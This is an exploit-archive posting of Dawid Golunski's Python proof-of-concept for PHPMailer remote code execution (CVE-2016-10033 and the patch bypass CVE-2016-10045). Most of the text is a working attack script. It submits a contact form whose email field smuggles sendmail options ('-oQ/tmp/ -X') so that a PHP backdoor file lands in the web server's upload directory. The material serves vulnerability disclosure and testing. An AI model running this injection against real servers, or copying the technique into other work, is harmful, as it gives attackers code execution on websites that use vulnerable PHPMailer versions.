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PHPMailer Remote Code Execution

PHPMailer Remote Code Execution
Posted Dec 28, 2016
Authored by Dawid Golunski

PHPMailer versions prior to 5.2.20 zero day remote code execution exploit. This bypasses the CVE-2016-10033 patch.

tags | exploit, remote, code execution
advisories | CVE-2016-10033, CVE-2016-10045
MD5 | 866aa935950ebe6d9acfd7e53a16846c

PHPMailer Remote Code Execution

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#!/usr/bin/python

intro = """
PHPMailer RCE PoC Exploits

PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
+
PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
(the bypass of the first patch for CVE-2016-10033)

Discovered and Coded by:

Dawid Golunski
@dawid_golunski
https://legalhackers.com

"""
usage = """
Usage:

Full Advisory:
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html

https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln-Patch-Bypass.html

PoC Video:
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html

Disclaimer:
For testing purposes only. Do no harm.

"""

import time
import urllib
import urllib2
import socket
import sys

RW_DIR = "/var/www/html/uploads"

url = 'http://VictimWebServer/contact_form.php' # Set destination URL here

# Choose/uncomment one of the payloads:

# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
#payload = '"attacker\\" -oQ/tmp/ -X%s/phpcode.php some"@email.com' % RW_DIR

# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
payload = "\"attacker\\' -oQ/tmp/ -X%s/phpcode.php some\"@email.com" % RW_DIR

######################################

# PHP code to be saved into the backdoor php file on the target in RW_DIR
RCE_PHP_CODE = "<?php phpinfo(); ?>"

post_fields = {'action': 'send', 'name': 'Jas Fasola', 'email': payload, 'msg': RCE_PHP_CODE}

# Attack
data = urllib.urlencode(post_fields)
req = urllib2.Request(url, data)
response = urllib2.urlopen(req)
the_page = response.read()



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